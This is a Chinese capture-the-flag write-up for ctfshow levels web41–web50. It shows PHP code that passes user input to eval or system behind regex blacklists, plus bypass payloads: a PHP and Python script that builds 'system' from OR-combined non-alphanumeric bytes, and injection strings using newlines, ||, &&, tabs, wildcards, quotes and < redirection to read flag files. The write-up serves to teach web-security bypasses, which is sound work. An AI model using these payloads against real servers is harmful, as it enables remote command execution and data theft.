ctfshow web41-web50

news2024/12/23 4:06:15

web41

代码审计

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

过滤了:[0-9] [a-z] ^ + ~ $ [ ] { } & -

这次字母过滤了,字符不是很多

思路:通过特殊字符来构造字母从而实现代码执行

这里根据题目提示已经给了一篇博客

https://blog.csdn.net/miuzzx/article/details/108569080

第一个脚本运行结果是

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

解释一下是怎么得来的

eg:A %40 %01

十六进制的40=十进制的64=二进制0100 0000

十六进制的01=十进制的01=二进制0000 0001

二者进行或运算

0100 0000

0000 0001

0100 0001 等于十进制65

十进制65对应的ascii码中A

如构造一个 (system)('ls')

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")

其中 %13|%60=s     %19|%60=y      %14|%60=t
很明显可以看出来就是将前半部分组合到一起 | 后半部分组合到一起

不理解的话可以具体去看一下这个网址带着的表

在线进制转换 - 码工具

运行结果

参考:《CTFshow-Web入门》05. Web 41~50_ctfshow web41-CSDN博客

找到了另一篇参考

下面可以直接修改ls

python脚本可以直接出编码,就不用手打了

import re
import urllib
from urllib import parse
hex_i = ""
hex_j = ""
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
str1=["system","ls"]
for p in range(2):
    t1 = ""
    t2 = ""
    for k in str1[p]:
        for i in range(256):
            for j in range(256):
                if re.search(pattern,chr(i)) :
                    break
                if re.search(pattern,chr(j)) :
                    continue
                if i < 16:
                    hex_i = "0" + hex(i)[2:]
                else:
                    hex_i=hex(i)[2:]
                if j < 16:
                    hex_j="0"+hex(j)[2:]
                else:
                    hex_j=hex(j)[2:]
                hex_i='%'+hex_i
                hex_j='%'+hex_j
                c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
                if(c ==k):
                    t1=t1+hex_i
                    t2=t2+hex_j
                    break
            else:
                continue
            break
    print("(\""+t1+"\"|\""+t2+"\")")

这里加了换行

用bp抓包

学习了大佬的方法,刚开始我bp抓包总是抓不到,于是用

open browser试了一下成功了

转为 post 请求来传递一下参数 发给重发器

添加下面的参数,ls显示目录

(system)(ls)

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")

"system""cat flag.php"

(system)(cat flag.php)
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

ctfshow{4f59f180-57f0-4d24-8fac-d9ddca4e608d}

小结一下这题:

由于过滤了字母,我们需要用字符来构成字母,根据题目提示用或运算构造字符,具体怎么构造参考上面的eg

理解了是怎么构造的,用脚本构造即可

bp抓包,用post构造参数,传参即可

参考资料:

CTFshow wbe41 教你写脚本_ctfshow web41-CSDN博客

另一个参考资料的另一种方法有点看不懂

《CTFshow-Web入门》05. Web 41~50_ctfshow web41-CSDN博客

system('ls')
('system')('ls')
(system)('ls')
('system')(ls)
是一样的,都可以执行
web42

提示:

cat flag.php%0a 查看源代码

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

代码分析:

system($c." >/dev/null 2>&1");: 使用PHP的system()函数执行用户提供的命令。在这里,用户提供的命令被附加到>/dev/null 2>&1,这个部分的作用是将命令的输出和错误重定向到/dev/null,这样就不会将输出发送到Web页面上

直接用提示上的

方法1

?c=cat flag.php ||

没有回显,在源代码

/?c=cat flag.php ||

方法2

直接让拼接的命令换行。

/?c=cat flag.php %0a

方法3

更容易理解

执行/?c=ls无回显

执行/?c=ls;ls

叫双写绕过,因为;的分割,此处是将第二个ls写入黑洞了

/?c=tac flag.php;(tac反向输出)

此处主要是分号起到了分割的作用,与前面大同小异

原理:

>/dev/null 2>&1 命令简单理解 表示不回显。

/dev/null 文件描述符,往里面写的所有数据都不会保存,也就是将返回结果写到黑洞里面

也就是c参数的所有返回结果是不显示的

Shell脚本———— /dev/null 2>&1详解 - Tinywan - 博客园

讲的更详细

要让命令回显,可以进行命令分隔,以此来绕过:

;     分号
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行

或者直接使用 %0a(换行符,url 编码)将其分隔。

我的只有; || %0a能在源码中看到

web43

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在web42的基础上,正则表达式过滤了; cat

方法1

可以看到提示:

nl flag.php%0a 查看源代码

确实出来了

/?c=nl flag.php%0a
/?c=nl flag.php%0a

换一个命令,且使用换行符的 url 编码让 >/dev/null 2>&1 换行

方法2

执行/?c=ls&&ls

用两个&起到命令分割的作用代替;

&& 前也就是第一个命令执行成功后才会执行第二个命令

第二个命令输出黑洞

用的时候要进行url编码

/?c=ls%26%26ls

/?c=tac flag.php%26%26ls
/?c=tac flag.php%26%26ls

ctfshow{9190daf7-1b68-4c22-b21b-0c4c87f2e767}
web44

提示:

nl fla*.php%0a 查看源代码

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在web42的基础上,正则表达式过滤了; cat flag

简单的通配符绕过(通配符就是代表任意字符,虽然flag被过滤了,也可以用通配符过滤出来)

方法1:

使用提示的方法

/?c=nl fla*.php%0a

源码里有

方法2:

/?c=ls %26%26ls

(记得两个&&要进行url编码)

/?c=tac fla*.php %26%26 ls

方法3

/?c=tac fl''ag.php ||

web45

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了; cat flag 空格

直接试一下前面的方法(试了不行)

发现一个很好的思路:将空格进行url编码

空格对应的url编码是%20,试一下发现也不行

引入ascii码表的水平制表符

ASCII码一览表,ASCII码对照表

有一个作用是 分隔字段:在某些文件格式(如CSV)中,水平制表符可以用作字段之间的分隔符,以便在数据中区分不同的字段。

%09(tab)
/?c=tac%09fla*.php||

web46

提示

nl<fla''g.php||

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了; cat flag 空格 [0-9] $ *

过滤了数字,编码方式就不行了

用提示的方法

/?c=nl%3Cfla''g.php||

%3C是<的url编码

/?c=nl%3Cfla''g.php||

源代码

到这里时我有一个疑问:明明数字被过滤了,为什么水平制表符%09还可以继续代替空格使用?

解释: 其中,[0-9]表示匹配任何一个数字字符。正则表达式中的|表示逻辑或的关系,即满足其中一项条件即可匹配。由于正则表达式中没有明确指定对水平制表符的过滤,因此在过滤的逻辑中会被忽略。

在使用时,url会自动解码就没有数字了,解码后就是水平制表符

方法2

/?c=tac%09fl''ag.php||
/?c=tac%09fl''ag.php||

也可以fla? fl?g等

web47

提示:

nl<fla''g.php||

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail

比web46多了一些文件读取命令,但未过滤tac

用web46的payload

/?c=tac%09fl''ag.php||

其他命令同理

web48

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl `

同web47,用web46的payload

/?c=tac%09fl''ag.php||

说明在linux下读取文件的命令有很多,过滤那么多,少一个都不行

web49

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` %

这里虽然过滤了%,但我们的%09会被url解码为水平制表符

同web47,用web46的payload

/?c=tac%09fl''ag.php||

web50

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` % x09 x26

可以看到x09和%都被过滤了

/?c=tac<>fl''ag.php||
/?c=tac<>fl''ag.php||

/?c=nl<fl''ag.php||

小结:liunx下读取命令的方式有很多种,这些不是唯一的解法,掌握的解法越多,对命令运用会更熟练

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1621842.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用户中心 -- 代码理解

一、删除表 & if 删除表 1.1 DROP TABLE IF EXISTS user 和 DROP TABLE user 网址&#xff1a; 用户管理第2节课 -- idea 2023.2 创建表--【本人】-CSDN博客 二、 代码 2.1 清空表中数据 的 命令 【truncate 清空】 网址&#xff1a; 用户管理第2节课 -- idea 2…

云原生Kubernetes: K8S 1.29版本 部署GitLab

目录 一、实验 1.环境 2.搭建NFS 3.K8S 1.29版本 部署Redis 4.K8S 1.29版本 部署Postgresql 5.K8S 1.29版本 部署GitLab 6.K8S 部署istio微服务 7.K8S 部署ingress应用路由 二、问题 1.K8S部署gitlab报错 2.gitlab创建失败 3.生成网关资源报错 4.安装istio 报错 …

Powershell 一键安装 virtio_qemu_agent

前言 qemu-guest-agent qemu-guest-agent是一个助手守护进程,安装在客户机中。它用于在主机和客户端之间交换信息,并在客户端执行命令。 在Proxmox VE中,qemu-guest-agent主要用于三件事: 正确关闭客户机,而不是依赖于ACPI命令或windows策略在进行备份/快照时冻结客户机…

中小型企业网络实战topo

1、设备命名&#xff0c;务必按照规范进行命名规划&#xff1b; 2、子网划分&#xff0c;申请到了公网地址段&#xff0c;201.1.1.0/24&#xff0c;根据公司的实际情况&#xff0c;合理规划拓扑需要的公网地址&#xff0c; 做到合理规划不浪费&#xff1b; 3、子网划分&a…

计算机网络-IS-IS路由计算

前面已经学习了建立IS-IS邻接关系和同步LSDB&#xff0c;然后基于此路由器会进行路由计算。 一、路由计算 因为IS-IS路由器有不同的级别&#xff0c;只维护自身级别的LSDB&#xff0c;因此就是Level-1只有区域内的路由信息&#xff0c;Level-2有Level-2的路由信息&#xff0c;L…

背包问题汇总

本文涉及知识点 动态规划汇总 状态机dp 01背包 有n件物品&#xff0c;体积分别是v[i]&#xff0c;价值分别是w[i]&#xff0c;有个包的容积是bv。如何选择物品使得&#xff0c;在总体积不超过vb的前提下&#xff0c;让总价值最大。 动态规划的状态表示 dp[i][j] 表示处理完…

【OceanBase系列】—— 常用运维操作(备忘)

作者简介&#xff1a; 花名&#xff1a;绪宁&#xff0c;OceanBase 数据库解决方案架构师 创建租户 方法一&#xff1a;OCP 创建 确认可分配资源 具体可以分配多少内存&#xff0c;可以通过【资源管理】查看各节点的剩余资源 2. 新建租户 3. 填写租户信息 zone 优先级主要是 p…

政安晨:【Keras机器学习示例演绎】(十五)—— 用于图像分类的 CutMix 数据增强技术

目录 简介 设置 加载 CIFAR-10 数据集 定义超参数 定义图像预处理函数 将数据转换为 TensorFlow 数据集对象 定义 CutMix 数据增强功能 可视化应用 CutMix 扩增后的新数据集 定义 ResNet-20 模型 使用经 CutMix 扩展的数据集训练模型 使用原始非增强数据集训练模型 …

银行业ESB架构:构建安全高效的金融信息交换平台

在金融行业&#xff0c;信息交换是银行业务运作的核心。为了实现不同系统之间的数据交互和业务流程的协同&#xff0c;银行通常采用企业服务总线&#xff08;ESB&#xff09;架构。本文将探讨银行业ESB架构的设计理念、关键技术以及实践经验&#xff0c;帮助银行构建安全高效的…

Hive查询操作详解

Hive 数据准备&#xff1a; Tips&#xff1a; &#xff08;1&#xff09;SQL 语言大小写不敏感。 &#xff08;2&#xff09;SQL 可以写在一行或者多行。 &#xff08;3&#xff09;关键字不能被缩写也不能分行。 &#xff08;4&#xff09;各子句一般要分行写。 &#xff0…

Science Robotics 美国斯坦福大学研制了外行星洞穴探测机器人

月球和火星上的悬崖、洞穴和熔岩管已被确定为具有地质和天体生物学研究理想地点。由于其隔绝特性&#xff0c;这些洞穴提供了相对稳定的条件&#xff0c;可以促进矿物质沉淀和微生物生长。在火星上&#xff0c;这些古老的地下环境与火星表面可能适合居住时几乎没有变化&#xf…

人工智能热度攀升市场广阔 业内:人机协同将成发展主流

以下文章来源&#xff1a;央广网 今年以来&#xff0c;人工智能产业热度持续攀升。文生视频软件Sora、文生音乐软件Suno等人工智能应用不断涌现&#xff0c;带给人们冲击的同时&#xff0c;也在影响着千行百业。本报今起推出“聚焦人工智能发展”系列报道&#xff0c;围绕人工智…

MybatisPlus(简单CURD,MP的实体类注解,MP条件查询,MP分页查询,MP批量操作,乐观锁,代码生成器)

目录 一、MP入门 1. MP是什么 2. MP使用入门 1 说明 2 准备MP项目环境 1) 添加依赖 2) 创建配置文件 3) 创建引导类 3 MP使用入门 1 创建实体类 2 创建Mapper 3 使用测试 3. 小结 二、MP简单CURD【重点】 1. 说明 2. 示例 3. 小结 三、MP的实体类注解[重点] …

接口测试-笔记

Date 2024年4月23日21:19:51 Author KarrySmile 1. 前言 因为想更加规范地开发接口&#xff0c;同时让自己测试接口的时候更加高效&#xff0c;更好地写好接口文档。所以学习黑马的《接口自动化测试》课程。链接&#xff1a;黑马程序员软件测试接口自动化测试全套视频教程&a…

【Ant-Desgin-React 穿梭框】表格穿梭框,树穿梭框的用法

Antd Desgin 穿梭框 普通用法高级用法-表格穿梭框组件高级用法-树穿梭框组件 普通用法 /* eslint-disable no-unused-vars */ import React, { useEffect, useState } from react import { Space, Transfer } from antd// Antd的穿梭框组件Mock数据 const mockData Array.fro…

企业微信hook接口协议,ipad协议http,外部联系人图片视频文件下载

外部联系人文件下载 参数名必选类型说明file_id是StringCDNkeyopenim_cdn_authkey是String认证keyaes_key是Stringaes_keysize是int文件大小 请求示例 {"url": "https://imunion.weixin.qq.com/cgi-bin/mmae-bin/tpdownloadmedia?paramv1_e80c6c6c0cxxxx3544d9…

分类分析|KNN分类模型及其Python实现

KNN分类模型及其Python实现 1. KNN算法思想2. KNN算法步骤2.1 KNN主要优点2.2 KNN主要缺点 3. Python实现KNN分类算法3.1 自定义方法实现KNN分类3.2 调用scikit-learn模块实现KNN分类 4. K值的确定 在之前文章 分类分析|贝叶斯分类器及其Python实现中&#xff0c;我们对分类分…

Golang基础5-指针、结构体、方法、接口

指针 和c/c类似&#xff0c;但是go语言中指针不能进行偏移和运算&#xff0c;安全指针 &&#xff08;取地址) *(根据地址取值) nil(空指针&#xff09; make和new之前对比&#xff1a;make用于初始化slice&#xff0c;map&#xff0c;channel这样的引用类型 而new用于类…

Netty学习——实战篇5 Netty 心跳监测/WebSocket长连接编程 备份

1 心跳监测 MyServer.java public class MyServer {public static void main(String[] args) {NioEventLoopGroup bossGroup new NioEventLoopGroup(1);NioEventLoopGroup workerGroup new NioEventLoopGroup();try {ServerBootstrap serverBootstrap new ServerBootstrap…

CPDA|0到1突破:构建高效数据分析体系的秘密武器

在现今信息爆炸的时代&#xff0c;数据已经渗透到了我们生活的方方面面&#xff0c;成为了决策、创新和竞争优势的关键。因此&#xff0c;构建一套高效的数据分析体系&#xff0c;对于企业和个人而言&#xff0c;都是至关重要的。那么&#xff0c;如何在众多的数据海洋中脱颖而…